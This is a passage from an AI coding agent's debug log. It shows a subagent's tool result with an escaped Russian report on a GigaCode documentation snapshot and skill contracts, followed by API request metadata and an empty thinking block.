\u043d\u043e\u0440\u043c\u044b \u0425\u0430\u0431\u0430.** \u041d\u043e\u0441\u0438\u0442\u0435\u043b\u044c \u0441\u043b\u0435\u0434\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 (`A-TRACE`) \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u0432\\n\u0441\u0440\u0435\u0434\u0435: \u0437\u0430\u0434\u0430\u0447\u0430, \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0439 \u043a \u043d\u0435\u0439 \u0438 \u0437\u0430\u043f\u0440\u043e\u0441 \u043d\u0430 \u0441\u043b\u0438\u044f\u043d\u0438\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u0430\u0433\u0435\u043d\u0442\u0443 \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435\\n\u0438 \u0437\u0430\u043f\u0438\u0441\u044c \u0447\u0435\u0440\u0435\u0437 MCP, \u0430 \u043b\u043e\u0433\u0438 CI-\u0437\u0430\u0434\u0430\u0447\u0438 \u2014 \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435. \u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u00ab\u0432\u044b\u0445\u043e\u0434\\n\u043a\u043b\u0430\u0434\u0451\u0442\u0441\u044f \u0432 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442, \u0430 \u043d\u0435 \u0432 \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u043a\u0443\u00bb \u043e\u043f\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u043d\u0430 `GC-17` \u0438 \u043f\u043e\u0434\u043a\u0440\u0435\u043f\u043b\u044f\u0435\u0442\u0441\u044f\\n`GC-21`: \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 \u0432 \u0441\u0440\u0435\u0434\u0435 \u0438 \u0442\u0430\u043a \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u0443\u0435\u0442\u0441\u044f \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u043c \u043d\u0430 \u0441\u043b\u0438\u044f\u043d\u0438\u0435.\\n\\n## \u0427\u0442\u043e \u0438\u0437 \u044d\u0442\u043e\u0433\u043e \u0441\u043b\u0435\u0434\u0443\u0435\u0442\\n\\n1. \u0424\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u043a\u0430 \u00ab\u0444\u043e\u0440\u043c\u0430 `SKILL.md` \u0432\u044b\u0432\u0435\u0434\u0435\u043d\u0430 \u043f\u043e \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0438, \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u044f GigaCode\\n   \u043d\u0435 \u0434\u0435\u0442\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u0430\u00bb \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u0430 \u0438 \u043f\u043e\u0434\u043b\u0435\u0436\u0438\u0442 \u0437\u0430\u043c\u0435\u043d\u0435 \u043d\u0430 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 `GC-1`\u2013`GC-6`\\n   \u0441 \u044f\u0432\u043d\u043e \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u0434\u0435\u043b\u044c\u0442\u043e\u0439 \u0425\u0430\u0431\u0430.\\n2. \u041e\u0442\u043a\u0440\u044b\u0442\u044b\u0439 \u0432\u043e\u043f\u0440\u043e\u0441 \u043e \u043c\u0435\u0445\u0430\u043d\u0438\u043a\u0435 \u0433\u0435\u0439\u0442\u043e\u0432 \u0437\u0430\u043a\u0440\u044b\u0442 **\u0447\u0430\u0441\u0442\u0438\u0447\u043d\u043e**: \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 \u0433\u0435\u0439\u0442\\n   \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u043c \u043a\u043e\u043c\u0430\u043d\u0434\u043e\u0439 \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0438 (`GC-11`); \u043c\u0435\u0445\u0430\u043d\u0438\u043a\u0430 \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0433\u0435\u0439\u0442\u0430 \u0432\\n   \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u043d\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u0430 \u0438 \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u0439.\\n3. \u041f\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439: \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043d\u0435 \u0434\u043e\u043b\u0436\u043d\u0430\\n   \u043e\u043f\u0438\u0440\u0430\u0442\u044c\u0441\u044f \u043d\u0430 `curl` \u0438 `wget` (`GC-12`).\\n4. \u0423\u043d\u0438\u043a\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u0438\u043c\u0435\u043d\u0438 \u043d\u0430\u0432\u044b\u043a\u0430 \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u043c \u0443\u0441\u043b\u043e\u0432\u0438\u0435\u043c \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438\\n   \u0443\u0440\u043e\u0432\u043d\u044f `L3` (`GC-4`), \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u044b\u043c \u0434\u043e \u0432\u044b\u043a\u043b\u0430\u0434\u043a\u0438.\\n5. \u041e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435 \u00ab\u043d\u0430\u0432\u044b\u043a \u043e\u0431\u044f\u0437\u0430\u043d \u0431\u044b\u0442\u044c \u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u043c\u00bb \u043e\u043f\u043e\u0440\u044b \u0432 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442\\n   (`GC-25`\u2013`GC-28`) \u0438 \u0437\u0430\u043c\u0435\u043d\u0435\u043d\u043e \u0433\u0440\u0430\u043d\u0438\u0446\u0430\u043c\u0438 \u0444\u043e\u0440\u043c\u044b `SF-3`, `SF-4`.\\n\\n### \u041f\u0440\u0435\u0434\u0435\u043b \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0430: \u0437\u0430\u044f\u0432\u043b\u0435\u043d\u0438\u0435 \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430, \u0430 \u043d\u0435 \u0444\u0430\u043a\u0442 \u0441\u043d\u0438\u043c\u043a\u0430\\n\\n\u0414\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u044f \u0441\u0440\u0435\u0434\u044b \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0441\u0436\u0430\u0442\u0438\u0435 \u0434\u0438\u0430\u043b\u043e\u0433\u0430 \u043f\u0440\u0438 \u043f\u0440\u0438\u0431\u043b\u0438\u0436\u0435\u043d\u0438\u0438 \u043a \u043f\u0440\u0435\u0434\u0435\u043b\u0443 (`GC-16`,\\n`GC-17`), \u043d\u043e **\u0447\u0438\u0441\u043b\u0430 \u043d\u0435 \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442**. \u0412\u043b\u0430\u0434\u0435\u043b\u0435\u0446 \u0432\\n[\u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0438 \u043a PR #572](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/572)\\n\u043d\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0430\u043f\u043f\u0430\u0440\u0430\u0442\u043d\u044b\u0439 \u043f\u0440\u0435\u0434\u0435\u043b: **1 000 000 \u0442\u043e\u043a\u0435\u043d\u043e\u0432**, \u043f\u043e \u0434\u043e\u0441\u0442\u0438\u0436\u0435\u043d\u0438\u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e\\n\u043f\u0440\u043e\u0433\u043e\u043d \u043d\u0435 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u0442\u0441\u044f, \u0430 \u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043d\u043e\u0432\u044b\u0439 \u0447\u0430\u0442.\\n\\n\u042d\u0442\u043e \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430 \u0438\u043d\u043e\u0433\u043e \u043a\u043b\u0430\u0441\u0441\u0430: \u0437\u0430\u044f\u0432\u043b\u0435\u043d\u0438\u0435 \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430, \u0430 \u043d\u0435 \u0446\u0438\u0442\u0430\u0442\u0430\\n\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u0430 `GC-*` \u043e\u043d\u043e \u043d\u0435 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u0438 \u0432 \u0441\u0447\u0451\u0442\\n\u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u044b\u0445 \u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u043e\u043a \u0441\u043d\u0438\u043c\u043a\u0430 \u043d\u0435 \u0432\u0445\u043e\u0434\u0438\u0442. \u0412 \u043d\u043e\u0440\u043c\u0443 \u043e\u043d\u043e \u0432\u043d\u0435\u0441\u0435\u043d\u043e \u043f\u0440\u0430\u0432\u0438\u043b\u043e\u043c `SK-6`\\n\u043a\u0430\u043a **\u0436\u0451\u0441\u0442\u043a\u0430\u044f \u0433\u0440\u0430\u043d\u0438\u0446\u0430** \u043e\u0431\u044a\u0451\u043c\u0430 \u043d\u0430\u0432\u044b\u043a\u0430. \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0437\u0430\u043c\u0435\u0440\u043e\u043c \u2014 \u0437\u0430\u0434\u0430\u0447\u0430 `B-162`;\\n\u0434\u043e \u043d\u0435\u0451 \u043f\u0440\u0430\u0432\u0438\u043b\u043e \u043e\u043f\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u043d\u0430 \u0437\u0430\u044f\u0432\u043b\u0435\u043d\u0438\u0435, \u0447\u0442\u043e \u0437\u0434\u0435\u0441\u044c \u0438 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043e.\\n\\n## \u0413\u0440\u0430\u043d\u0438\u0446\u044b \u0441\u043d\u0438\u043c\u043a\u0430\\n\\n- \u042d\u0442\u043e **\u0441\u043d\u0438\u043c\u043e\u043a \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438**, \u0430 \u043d\u0435 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u0438\u0435 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u0441\u0440\u0435\u0434\u044b: \u0444\u0430\u043a\u0442\u044b\\n  \u0434\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442, \u0447\u0442\u043e \u0441\u0440\u0435\u0434\u0430 \u0442\u0430\u043a **\u043e\u043f\u0438\u0441\u0430\u043d\u0430**, \u0430 \u043d\u0435 \u0447\u0442\u043e \u043e\u043d\u0430 \u0442\u0430\u043a \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442. \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430\\n  \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435\u043c \u2014 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u0430\u044f \u0440\u0430\u0431\u043e\u0442\u0430 \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u043c \u043f\u0440\u043e\u0433\u043e\u043d\u0435.\\n- \u0414\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u044f \u043d\u0435 \u0432\u0435\u0440\u0441\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0430 \u043f\u043e \u043d\u043e\u043c\u0435\u0440\u0443: \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u044f\u043a\u043e\u0440\u044c\\n  \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438 \u2014 \u0434\u0430\u0442\u0430 \u0441\u043d\u0438\u043c\u043a\u0430 \u0438 `sha256` HTML \u043a\u0430\u0436\u0434\u043e\u0439 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b \u0432\\n  [`gigacode-docs.json`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/exp/ba-process-taxonomy-571/gigacode-docs.json).\\n  \u0420\u0430\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435 `sha256` \u043f\u0440\u0438 \u0441\u043e\u0432\u043f\u0430\u0434\u0435\u043d\u0438\u0438 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\u0418\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435 \u0442\u0435\u043a\u0441\u0442\u0430 \u0438\u0437 HTML \u043e\u0433\u0440\u0443\u0431\u043b\u0451\u043d\u043d\u043e\u0435: \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u044e\u0442\u0441\u044f \u0430\u0431\u0437\u0430\u0446\u044b \u0438 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0438,\\n  \u0442\u0430\u0431\u043b\u0438\u0446\u044b \u0442\u0435\u0440\u044f\u044e\u0442 \u0440\u0430\u0437\u043c\u0435\u0442\u043a\u0443. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u044b\u0435 \u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u043a\u0438 \u043f\u043e\u0434\u043e\u0431\u0440\u0430\u043d\u044b \u0442\u0430\u043a,\\n  \u0447\u0442\u043e\u0431\u044b \u043d\u0435 \u0437\u0430\u0432\u0438\u0441\u0435\u0442\u044c \u043e\u0442 \u0440\u0430\u0437\u043c\u0435\u0442\u043a\u0438 \u0442\u0430\u0431\u043b\u0438\u0446.\\n- \u041a\u043e\u043f\u0438\u044f \u0447\u0443\u0436\u043e\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u0432 \u0425\u0430\u0431\u0435 \u043d\u0435 \u0445\u0440\u0430\u043d\u0438\u0442\u0441\u044f: \u0446\u0438\u0442\u0430\u0442\u044b \u043f\u0440\u0438\u0432\u0435\u0434\u0435\u043d\u044b \u043e\u0431\u044a\u0451\u043c\u043e\u043c,\\n  \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u043c \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u044f, \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u043e\u0435 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043f\u043e \u0441\u0441\u044b\u043b\u043a\u0435.\\n- \u0421\u0442\u0440\u0430\u043d\u0438\u0446\u044b \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u00ab\u0421\u0435\u0441\u0441\u0438\u0438\u00bb \u0438 \u00abAI workflow-\u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0438\u00bb \u0432 \u043f\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0435 issue #571\\n  \u043d\u0435 \u043f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u0435\u043d\u044b \u0438 \u0432 \u0441\u043d\u0438\u043c\u043e\u043a \u043d\u0435 \u0432\u0445\u043e\u0434\u044f\u0442: \u0441\u043f\u043e\u0441\u043e\u0431 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u043d\u0430\u0432\u044b\u043a\u0430 \u0432 CI-\u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0438\\n  \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u043d\u0435\u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u043c.\",\n[2026-09-29T07:45:07.479Z] [INFO]         \"is_error\": false\n[2026-09-29T07:45:07.479Z] [INFO]       }\n[2026-09-29T07:45:07.479Z] [INFO]     ]\n[2026-09-29T07:45:07.479Z] [INFO]   },\n[2026-09-29T07:45:07.479Z] [INFO]   \"parent_tool_use_id\": \"toolu_01GFx7YR63TmqWwLsYXBMEow\",\n[2026-09-29T07:45:07.479Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:07.479Z] [INFO]   \"uuid\": \"cc68548c-0457-45a8-80ef-70893150a60d\",\n[2026-09-29T07:45:07.479Z] [INFO]   \"timestamp\": \"2026-09-29T07:45:06.439Z\",\n[2026-09-29T07:45:07.479Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:45:07.479Z] [INFO]   \"task_description\": \"Analyze ba-requirements research\"\n[2026-09-29T07:45:07.479Z] [INFO] }\n[2026-09-29T07:45:07.494Z] [STDOUT] [log_5fce0b] sending request {\n[2026-09-29T07:45:07.507Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:45:07.521Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:07.532Z] [STDOUT]   options: {\n[2026-09-29T07:45:07.539Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:45:07.549Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:45:07.558Z] [STDOUT]     body: {\n[2026-09-29T07:45:07.563Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:45:07.568Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:45:07.577Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:45:07.583Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:45:07.586Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:45:07.589Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:45:07.607Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:45:07.616Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:45:07.632Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:45:07.656Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:45:07.667Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:45:07.703Z] [STDOUT]       stream: true,\n[2026-09-29T07:45:07.712Z] [STDOUT]     },\n[2026-09-29T07:45:07.716Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:45:07.728Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:45:07.753Z] [STDOUT]       [Symbol(events.maxEventTargetListeners)]: 50,\n[2026-09-29T07:45:07.853Z] [STDOUT]       [Symbol(events.maxEventTargetListenersWarned)]: false,\n[2026-09-29T07:45:07.858Z] [STDOUT]       aborted: false,\n[2026-09-29T07:45:07.866Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:45:07.967Z] [STDOUT]       onabort: null,\n[2026-09-29T07:45:07.977Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:45:07.982Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:45:08.038Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:45:08.111Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:45:08.204Z] [STDOUT]     },\n[2026-09-29T07:45:08.208Z] [STDOUT]     stream: true,\n[2026-09-29T07:45:08.212Z] [STDOUT]   },\n[2026-09-29T07:45:08.227Z] [STDOUT]   headers: {\n[2026-09-29T07:45:08.232Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:45:08.241Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:45:08.260Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:45:08.268Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:45:08.272Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:45:08.279Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:45:08.289Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:45:08.294Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:45:08.303Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:45:08.311Z] [STDOUT]     \"x-claude-code-agent-id\": \"a8223c4e8f50f54ab\",\n[2026-09-29T07:45:08.318Z] [STDOUT]     \"x-claude-code-agent-type\": \"general-purpose\",\n[2026-09-29T07:45:08.329Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=2144\",\n[2026-09-29T07:45:08.334Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:45:08.338Z] [STDOUT]     \"x-claude-code-request-class\": \"subagent\",\n[2026-09-29T07:45:08.344Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:08.349Z] [STDOUT]     \"x-client-request-id\": \"ccc9814b-b0a1-4ad8-b72d-48a0390705ce\",\n[2026-09-29T07:45:08.352Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:45:08.356Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:45:08.363Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:45:08.366Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:45:08.371Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:45:08.377Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:45:08.382Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:45:08.387Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:45:08.389Z] [STDOUT]   },\n[2026-09-29T07:45:08.391Z] [STDOUT] }\n[2026-09-29T07:45:08.394Z] [INFO] {\n[2026-09-29T07:45:08.394Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:45:08.394Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:45:08.394Z] [INFO]   \"estimated_tokens\": 194,\n[2026-09-29T07:45:08.394Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:45:08.394Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:08.394Z] [INFO]   \"uuid\": \"637e19c5-2f3d-43f3-b807-dd8a56c948c7\"\n[2026-09-29T07:45:08.394Z] [INFO] }\n[2026-09-29T07:45:08.407Z] [INFO] {\n[2026-09-29T07:45:08.407Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:45:08.407Z] [INFO]   \"message\": {\n[2026-09-29T07:45:08.407Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:45:08.407Z] [INFO]     \"id\": \"msg_011CfXMjHccy9QHH3HUJSVJt\",\n[2026-09-29T07:45:08.407Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:45:08.407Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:45:08.407Z] [INFO]     \"content\": [\n[2026-09-29T07:45:08.407Z] [INFO]       {\n[2026-09-29T07:45:08.407Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:45:08.407Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:45:08.407Z] [INFO]         \"signature\": \"CAQS/gUKEAgSGAI4AUIIdGhpbmtpbmcSDPCTJxbawiudiJKzLxoMVbDGviAFc0y4XG2NIjAH/vP7ZPx3DYL5mgvYEyE3isAVeR0JT8a3RGc9HaTcJ9J06zGZGL2Iugsg6VrbTJ8qmwU8YaKRVcPdNRCOUPClwbMf/mnoEZgQYXC9RcY9xRh8ib8c7jgNzB69i4shMoivlHZShQBVPaW4sXlmzG3bQiQUCssXfVb+qs+NrAlgEt3984jbzf7yXW9XmK1vqvd5xrbEaliStLZKZGoy7l1TNsCH9/9AwIbSXTSZV/WXW5BW5UWQ2yopsd9+UEuonsDcDA8ZPiy0YnesiReuT3ytLSL1w2fYG1L9pclSN19tFwfPx2I3OnZYbu95H0fPj1jFFOWNWeYU/Iq+Jjp8/Ux/T82jVwzNYxn7RnmT3dmirsEE5sxC5nbSVAAvFwSfVerD6VNesvlZhHPX0kqeqAXLM8pX4lZ0bZGWEAFl28S2jYrMhzKMuze2HGGluczkWjDk8dYhavmWXO/O3wVXyloLS0D8O9+ZlTl/8zujwyz5wzq33SP9B00DPDWIoOG3RZ9YvTMbCuJGeEXMA+3eHvVI4Ugfvvr5V1TNhSh7UGM2oJBBilkPL1B8I2F6I7SPOe9omlhBCnogz1aFKE9IFQ9p0AUM+KkGWXBYq6yBUULxGq8KzcrwQzRZa4QpcjHGMuovgaoHTG6xGenPfehKfsQYH3y1R8T4mHrzjNunMbQwUSt0tVkuWH6UAA6qYEf4tMWBQn04FKPHjQYTtEgpBWpc7EA6i+jvUvEDlRmAZSqzgj14ZO7pWt1SPNIm5kDCVnt0D5mZ6bSziOwpXLFr1lk9u1x+1bDkf4IPA34vA37HwN2bYuMrGXwzSO21IPMEJlVo2uGdAVhb7dap40WHsQFl7aJa561zkDxrCv5wztlKZwC2vkL8Ig6oqfAhve1AL4SEqMkDCwNrMrep/B/kaGjWEljr9u4hTp+3JCjklharoBoDoshYjrXMH1KMrokrGAE=\"\n[2026-09-29T07:45:08.407Z] [INFO]       }\n[2026-09-29T07:45:08.407Z] [INFO]     ],\n[2026-09-29T07:45:08.407Z] [INFO]     \"container\": null,\n[2026-09-29T07:45:08.407Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:45:08.407Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:45:08.407Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:45:08.407Z] [INFO]     \"usage\": {\n[2026-09-29T07:45:08.407Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:45:08.407Z] [INFO]       \"cache_creation_input_tokens\": 7060,\n[2026-09-29T07:45:08.407Z] [INFO]       \"cache_read_input_tokens\": 93336,\n[2026-09-29T07:45:08.407Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:45:08.407Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:45:08.407Z] [INFO]         \"ephemeral_1h_input_tokens\": 7060\n[2026-09-29T07:45:08.407Z] [INFO]       },\n[2026-09-29T07:45:08.407Z] [INFO]       \"output_tokens\": 6,\n[2026-09-29T07:45:08.407Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:45:08.407Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:45:08.407Z] [INFO]     },\n[2026-09-29T07:45:08.407Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:45:08.407Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:45:08.407Z] [INFO]     \"context_management\": null\n[2026-09-29T07:45:08.407Z] [INFO]   },\n[2026-09-29T07:45:08.407Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:45:08.407Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:08.407Z] [INFO]   \"uuid\": \"a6a24d55-cde3-4d35-b730-a46936c82332\",\n[2026-09-29T07:45:08.407Z] [INFO]   \"timestamp\": \"2026-09-29T07:45:06.752Z\",\n[2026-09-29T07:45:08.407Z] [INFO]   \"request_id\": 